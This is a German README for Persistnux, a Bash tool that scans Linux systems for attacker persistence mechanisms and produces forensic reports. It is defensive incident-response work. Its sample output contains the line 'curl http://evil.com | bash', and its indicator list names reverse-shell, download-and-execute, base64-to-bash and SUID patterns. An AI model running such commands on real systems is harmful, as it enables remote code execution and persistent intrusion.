
Persistnux — Updated!
Bash-basiertes Linux-Persistenzerkennungstool für DFIR-Untersuchungen. Scannt 15+ Persistenzmechanismen (systemd, cron, Kernel-Module, SSH, Container) mit Konfidenz-Bewertung und erstellt CSV-/JSONL-Berichte für die forensische Analyse.
Persistnux
Ein umfassendes Tool zur Erkennung von Linux-Persistenzmechanismen für Digital Forensics und Incident Response (DFIR)-Untersuchungen.
Übersicht
Persistnux ist ein Bash-basiertes Tool, das darauf ausgelegt ist, bekannte Linux-Persistenzmechanismen zu identifizieren, die von Angreifern genutzt werden, um den Zugriff auf kompromittierte Systeme aufrechtzuerhalten. Es führt umfassende Prüfungen im gesamten System durch und erstellt detaillierte Berichte im CSV- und JSONL-Format für die weitere Analyse.
Funktionen
- Umfassende Erkennung: Deckt alle wichtigen Linux-Persistenzmechanismen ab
- Live-Analyse: Läuft direkt auf Live-Systemen mit minimalen Abhängigkeiten
- Detaillierte Ausgabe: Erzeugt CSV- und JSONL-Berichte mit Datei-Hashes, Metadaten und Konfidenzwerten
- Root und Non-Root: Funktioniert mit oder ohne Root-Rechte (mit eingeschränktem Umfang für Nicht-Root)
- DFIR-bereit: Ausgabeformate kompatibel mit gängigen DFIR-Tools und Arbeitsabläufen
- Verdachtsscore: Automatische Konfidenzbewertung (NIEDRIG, MITTEL, HOCH, KRITISCH) basierend auf Indikatoren
- False-Positive-Reduzierung: Integration des Paketmanagers und Whitelisting bekannter, gutartiger Dienste
- Zeitbasierte Analyse: Kürzlich geänderte Dateien erhalten höhere Konfidenzwerte
- Mustererkennung: Erkennt Reverse Shells, Download-und-Ausführen-Muster, Verschleierungstechniken
Erkannte Persistenzmechanismen
1. Systemd-Dienste
- Servicedateien (
.service) in/etc/systemd/system,/lib/systemd/system,/usr/lib/systemd/system - Benutzerebene-Systemd-Dienste
- Filtert deaktivierte Dienste und Dienste ohne ExecStart heraus
- Erkennt verdächtige ExecStart-Befehle
- Überprüft die Paketintegrität ausgeführter Binärdateien/Skripte
2. Cron-Jobs & geplante Aufgaben
- System-Crontabs (
/etc/crontab,/etc/cron.d/*) - Periodische Ausführungsverzeichnisse (
/etc/cron.{daily,hourly,weekly,monthly}) - Benutzer-Crontabs für alle Benutzer (Root-Modus)
- At-Jobs
- Verdächtige Befehlsmuster in geplanten Aufgaben
/etc/cron.allowund/etc/cron.denyACL-Dateien – Einträge, die auf nicht existierende Benutzer verweisen, werden markiert
3. Shell-Profile & RC-Dateien
- Systemweite Profile (
/etc/profile,/etc/bash.bashrc,/etc/zshrc) - Profile.d-Skripte (
/etc/profile.d/*) - Benutzerprofile (
.bashrc,.bash_profile,.zshrc,.profileusw.) - Fish-Shell-Konfigurationen
- Erkennt bösartige Befehle in Profildateien
4. Init-Skripte & RC.local
/etc/rc.localund Varianten- SysV-Init-Skripte (
/etc/init.d) - Runlevel-Skripte (
/etc/rc*.d) - Erkennt verdächtige Download/Ausführungsbefehle
5. Kernelmodule & Library Preloading
- LD_PRELOAD-Konfigurationen (
/etc/ld.so.preload) – jede aufgeführte Bibliothek wird über den Paketmanager verifiziert - Dynamische Linker-Konfigurationen (
/etc/ld.so.conf,/etc/ld.so.conf.d/) – Konfigurationsdateiintegrität + nicht standardmäßige Pfad-.so-Dateien werden gescannt und verifiziert /etc/environmentLD_PRELOAD/LD_LIBRARY_PATH – Umgebungsdatei wird als HOCH markiert; referenzierte Bibliothekspfade werden verifiziert (unverwaltet/modifiziert → KRITISCH)- Kernelmodul-Parameter (
/etc/modprobe.d/,/etc/modprobe.conf) – Dateiintegrität;install-Direktiven werden auf verdächtige Befehlsziele analysiert;blacklistvon Sicherheitsmodulen (AppArmor, SELinux, seccomp) wird als HOCH markiert - Kernelmodul-Autoload-Konfigurationen (
/etc/modules,/etc/modules-load.d/) – Konfigurationsintegrität; referenzierte Modulnamen werden übermodinfozu.ko-Dateien aufgelöst und verifiziert - Geladene Kernelmodule (
lsmod) – Aufzählung und Integritätsprüfung
6. Zusätzliche Mechanismen
- XDG-Autostart-Einträge (
.config/autostart,/etc/xdg/autostart) – alle Benutzerverzeichnisse werden im Root-Modus gescannt - System-Umgebungsdateien (
/etc/environment) – LD_PRELOAD/LD_LIBRARY_PATH-Bibliothekspfade werden verifiziert - Sudoers-Konfigurationen und Drop-Ins (
/etc/sudoers,/etc/sudoers.d/) – NOPASSWD/ALL-Muster → HOCH - PAM (Pluggable Authentication Modules):
- Alle
.so-Module werden über den Paketmanager verifiziert;@include-Direktiven werden verfolgt;/etc/pam.confwird einbezogen pam_exec.so-Skriptanalyse – fehlende/verdächtige Skripte → KRITISCHpam_python.so/pam_perl.so-Relay-Erkennung – Skript wird extrahiert und analysiertpam_script.so-Hook-Dateierkennung in/etc/security/- Konfigurationsdateienintegrität – modifizierte paketbesitzende PAM-Konfigurationen → KRITISCH
pam_env.confund~/.pam_environmentLD_PRELOAD-Bibliotheksverifizierung/etc/security/allgemeiner Scan
- Alle
- MOTD-Skripte (
/etc/update-motd.d/) – Paketüberprüfung; modifiziert → KRITISCH - Git-Credential-Helper und core.pager-Einstellungen – Inhaltsanalyse für alle Benutzer
- Web-Shells in gängigen Web-Verzeichnissen
8. SSH-Persistenz
- Benutzerspezifische
~/.ssh/authorized_keys– kürzlich geänderte Schlüssel werden markiert; Inhalt dercommand=-Option auf verdächtige Muster analysiert - Benutzerspezifische
~/.ssh/rc– Vorhandensein wird als MITTEL markiert; verdächtiger/Reverse-Shell-Inhalt → HOCH/KRITISCH
9. Binary Hijacking
- Überprüft installierte System-Binärdateien gegen die Paketdatenbank (
dpkg -Vauf Debian/Ubuntu,rpm -Vaauf RHEL/CentOS) - Modifizierte Dateien in
/usr/bin,/usr/sbin,/bin,/sbin→ KRITISCHER Fund - Modifizierte PAM-Module in
/lib/security→ KRITISCHER Fund - Conffiles (dpkg-Konfigurationsdateien) werden ausgeschlossen, um False Positives zu vermeiden
10. Bootloader & Initramfs
- GRUB
init=Kernel-Parameter-Injection (/etc/default/grub,/etc/default/grub.d/*.cfg) - Root-Level abgelegte Init-Skripte unter
/ - Dracut-Initramfs-Module mit
pre-pivot-Hooks, die in/sysroot/etc/shadowschreiben - Ubuntu Initramfs-Tools-Hook-Skripte in
/etc/initramfs-tools/scripts/und/hooks/ - Kürzlich modifizierte
/boot/initrd.img-*-Images (mtime-basiert)
11. Polkit (PolicyKit)-Manipulation
.pkla-Dateien mit bedingungslosenResultAny/ResultInactive/ResultActive=yes- Wildcard-Identität (
unix-user:*)-Gewährungen .rules-Dateien mit bedingungslosempolkit.Result.YES(JavaScript-basiertes Polkit >= 0.106)
12. D-Bus & NetworkManager
- Bösartige D-Bus-Systemdienst-
Exec=-Registrierung (/usr/share/dbus-1/system-services/) - D-Bus-Richtlinien-Wildcard
allow own="*"odersend_destination="*"-Direktiven - NetworkManager-Dispatcher-Skripte (
/etc/NetworkManager/dispatcher.d/)
13. Udev-Regeln
- Udev
RUN+=-Direktiven, die beliebige Befehle oder Skripte ausführen (/etc/udev/rules.d/,/lib/udev/rules.d/) - Zur Laufzeit injizierte Regeln in
/run/udev/rules.d/ at/cron-Delegierungsmuster inRUN+=(häufige Umgehung von Vordergrundbeschränkungen)
14. Container Escape
- Privilegierte Docker-Container (
--privileged,--pid=host) docker.sock-Bind-Mounts in Container (vollständige Host-Kontrolle über Docker-API)nsenter -t 1in Container-Entrypoints oder Dockerfiles- Dockerfiles in benutzerbeschreibbaren Verzeichnissen, die Escape-Techniken enthalten
15. Erweiterte Binär- & Privilegienprüfungen
- Aktiver SUID/SGID-Dateisystem-Scan über Systemverzeichnisse hinweg
- Dateifähigkeits-Scan über
getcap–cap_setuid+epauf GTFOBins → KRITISCH - Binary Hijacking: umbenannte Originale (
.original,.old,.bak,.real) mit Wrapper-Skripten - Nicht-Root-Konten mit UID 0 in
/etc/passwd - Shell-Verschleierung durch nachgestellte Leerzeichen im Shell-Feld von
/etc/passwd - Systemkonten (UID 1-999) mit SSH
authorized_keys-Dateien
Installation
# Repository klonen
git clone https://github.com/yourusername/persistnux.git
cd persistnux
# Skript ausführbar machen
chmod +x persistnux.sh
Verwendung
Grundlegende Verwendung (Live-Analyse)
# Mit Standardeinstellungen ausführen (zeigt nur verdächtige Funde)
sudo ./persistnux.sh
# Hilfe und alle Optionen anzeigen
./persistnux.sh --help
# Als normaler Benutzer ausführen (eingeschränkter Umfang)
./persistnux.sh
Filteroptionen (v2.4+)
Standardmäßig zeigt Persistnux nur verdächtige Funde (MITTEL, HOCH, KRITISCH-Konfidenz) an, um Rauschen zu reduzieren und sich auf umsetzbare Bedrohungen zu konzentrieren.
# Standard: Nur verdächtige Funde anzeigen
sudo ./persistnux.sh
# Alle Funde einschließlich Baseline (NIEDRIG-Konfidenz) anzeigen
sudo ./persistnux.sh --all
# ODER
sudo FILTER_MODE=all ./persistnux.sh
# Nur Funde mit HOHEM und KRITISCHEM Konfidenzlevel anzeigen
sudo MIN_CONFIDENCE=HIGH ./persistnux.sh
# Filter kombinieren: Nur HOHE Konfidenz
sudo ./persistnux.sh --min-confidence HIGH
Benutzerdefiniertes Ausgabeverzeichnis
# Benutzerdefiniertes Ausgabeverzeichnis angeben
sudo OUTPUT_DIR=/tmp/evidence ./persistnux.sh
# Mit Filterung kombinieren
sudo OUTPUT_DIR=/tmp/evidence MIN_CONFIDENCE=HIGH ./persistnux.sh
Ausgabedateien
Standardmäßig erstellt Persistnux ein Ausgabeverzeichnis ./persistnux_output/, das Folgendes enthält:
persistnux_<hostname>_<timestamp>.csv– Bericht im CSV-Formatpersistnux_<hostname>_<timestamp>.jsonl– Bericht im JSONL-Format (ein JSON-Objekt pro Zeile)persistnux_<hostname>_<timestamp>_report.txt– Menschenlesbarer Zusammenfassungsbericht mit Fundanzahlen und Scan-Metadaten
Ausgabeformat
CSV-Format
timestamp,hostname,category,confidence,file_path,file_hash,file_owner,file_permissions,file_age_days,package_status,command,description,matched_pattern,matched_string
2026-01-23T10:30:00Z,webserver01,Systemd Service,HIGH,/etc/systemd/system/example.service,abc123...,root:root,644,3,unmanaged,example.service,suspicious_script_content,"curl http://evil.com | bash"
JSONL-Format
{
"timestamp": "2026-01-23T10:30:00Z",
"hostname": "webserver01",
"category": "Systemd Service",
"confidence": "HIGH",
"file_path": "/etc/systemd/system/example.service",
"file_hash": "abc123...",
"file_owner": "root:root",
"file_permissions": "644",
"file_age_days": "3",
"package_status": "unmanaged",
"command": "/opt/example.sh",
"description": "example.service",
"matched_pattern": "suspicious_script_content",
"matched_string": "curl http://evil.com | bash"
}
Wichtige Ausgabefelder
- matched_pattern: Das Erkennungsmuster, das den Fund ausgelöst hat (z. B.
suspicious_script_content,modified_package,unmanaged_binary) - matched_string: Der tatsächliche verdächtige Inhalt, der gefunden wurde (vollständige Zeile, nicht nur Schlüsselwort)
Konfidenzbewertung
Persistnux verwendet eine intelligente Konfidenzbewertung, um False Positives zu reduzieren:
- NIEDRIG: Standard-Systemkonfiguration, geringer Verdacht (oft paketverwaltete Dateien)
- MITTEL: Potenziell verdächtig, aber könnte legitim sein
- HOCH: Verdächtige Muster erkannt (z. B. curl/wget in Cron, /tmp-Ausführung, Reverse Shells)
- KRITISCH: Eindeutiger Nachweis von Manipulation – fehlgeschlagene Paketintegritätsprüfung, SUID/SGID auf einer verdächtigen Datei, PAM-Modul-Anomalie, systemd-Generator an einem flüchtigen Ort oder Inline-Interpreter-Code mit hoher Entropie
False-Positive-Reduzierung (v1.2+)
Persistnux enthält jetzt mehrere Funktionen zur False-Positive-Reduzierung:
- Paketmanager-Integration: Dateien, die von
dpkg(Debian/Ubuntu) oderrpm(RedHat/CentOS) verwaltet werden, erhalten niedrigere Konfidenzwerte - Whitelist bekannter, gutartiger Dienste: Übliche Vendor-Dienste (systemd-, dbus-, snap.* usw.) werden automatisch übersprungen
- Zeitbasierte Bewertung: Kürzlich geänderte Dateien (<7 Tage) erhalten höhere Konfidenzwerte
- Kontextbewusste Analyse: Kombiniert mehrere Indikatoren für eine genauere Erkennung
Verdächtige Indikatoren
Persistnux markiert Elemente automatisch mit höherer Konfidenz, wenn es Folgendes erkennt:
Netzwerkbasierte Muster
- Reverse Shells:
bash -i >& /dev/tcp/,sh -i >& /dev/udp/ - Netzwerktools:
nc,netcat,socat,telnet - Socket-Operationen in Skriptsprachen:
python -c 'import socket'
Download- und Ausführungsmuster
- Download-Tools:
curl | bash,wget | sh - Download mit Ausführung:
curl URL -o /tmp/file && chmod +x
Verschleierungstechniken
- Kodierung:
base64 -d | bash,eval $(echo BASE64) - Dynamische Ausführung:
eval,exec
Verdächtige Speicherorte
- Temporäre Verzeichnisse:
/tmp,/dev/shm,/var/tmp - Versteckte Verzeichnisse und Dateien
Berechtigungsmanipulation
- Dateien ausführbar machen:
chmod +x,chmod 777 - SUID-Bit-Manipulation:
chmod u+s
Anforderungen
- Bash 4.0+
- Standard-Unix-Dienstprogramme:
find,grep,stat,sha256sum,awk,file - Optional:
systemctl,lsmod,modinfo,getcap,dpkg/rpm(für bestimmte Prüfungen) - Keine Interpreter-Abhängigkeit (reines Bash + coreutils; kein
python/jqerforderlich) - Root-/sudo-Zugriff empfohlen für eine umfassende Analyse
Getestet auf / Kompatibilität
| Distribution | Status | Hinweise |
|---|---|---|
| Ubuntu 22.04 LTS | ✅ Getestet | Primäre Entwicklungs- und Testplattform |
| Ubuntu 20.04 LTS | ✅ Getestet | Vollständig unterstützt |
| Debian 11/12 | ✅ Getestet | dpkg-basiert, gleiche Pfadkonventionen |
| Kali Linux (rolling) | ✅ Getestet | Für den PANIX-Erkennungsbenchmark verwendet (siehe unten) |
| RedHat / RHEL | ⚠️ Noch nicht getestet | rpm-Unterstützung implementiert, aber auf Live-Systemen unbestätigt |
| Fedora | ⚠️ Noch nicht getestet | rpm-Unterstützung implementiert, aber auf Live-Systemen unbestätigt |
| CentOS / AlmaLinux / Rocky | ⚠️ Noch nicht getestet | rpm-Unterstützung implementiert, aber auf Live-Systemen unbestätigt |
Hinweis: Das Tool wird hauptsächlich auf Ubuntu/Debian-Systemen getestet. Bei RedHat, Fedora und RPM-basierten Distributionen ist die Paketmanager-Unterstützung im Code implementiert, wurde aber in Live-Testumgebungen nicht validiert. Beiträge und Testergebnisse für RPM-basierte Distributionen sind willkommen.
Testen / Benchmark
Persistnux wird gegen PANIX gebenchmarkt,
das dieselben Persistenzmechanismen installiert, die Persistnux jagt. Der
wiederholbare Testrahmen unter tests/panix_benchmark.sh wendet jede
PANIX-Technik an, führt Persistnux aus und bestätigt die Erkennung über einen Basislinien-Diff.
Jede dateibasierte PANIX-Technik, die auf dem Testsystem anwendbar ist, wird mit
MITTEL+ Konfidenz erkannt. Siehe PANIX_BENCHMARK.md für die vollständige
Abdeckungstabelle und Methodik.
⚠️ Der Benchmark installiert echte Hintertüren – nur in einer Einweg-VM ausführen.
Roadmap
- Offline-Analysemodus für forensische Festplatten-Images
- Integration der UAC (Unix-like Artifacts Collector)-Sammlung
- Erweiterung des PANIX-Benchmarks auf Bootloader/Initramfs/LKM-Vektoren auf einer vollständigen VM
Ressourcen
https://www.elastic.co/security-labs/continuation-on-persistence-mechanisms https://www.elastic.co/security-labs/approaching-the-summit-on-persistence https://www.elastic.co/security-labs/primer-on-persistence-mechanisms https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms https://github.com/Aegrah/PANIX
Mitwirken
Beiträge sind willkommen! Bitte reichen Sie Pull-Requests ein oder eröffnen Sie Issues für:
- Erkennung neuer Persistenzmechanismen
- Fehlerbehebungen
- Verbesserungen der Dokumentation
- Leistungsoptimierungen
- Zusätzliche Ausgabeformate
Lizenz
MIT-Lizenz – Siehe LICENSE-Datei für Details
Danksagungen
Entwickelt für die DFIR-Community zur Unterstützung bei der Linux-Vorfallreaktion und forensischen Untersuchungen.
Haftungsausschluss
Dieses Tool ist nur für autorisierte Sicherheitstests, Incident Response und forensische Analysen bestimmt. Die Benutzer sind dafür verantwortlich, sicherzustellen, dass sie die entsprechende Autorisierung haben, bevor sie dieses Tool auf einem System ausführen.
Kontakt
Bei Fragen, Problemen oder Beiträgen nutzen Sie bitte den GitHub Issue-Tracker.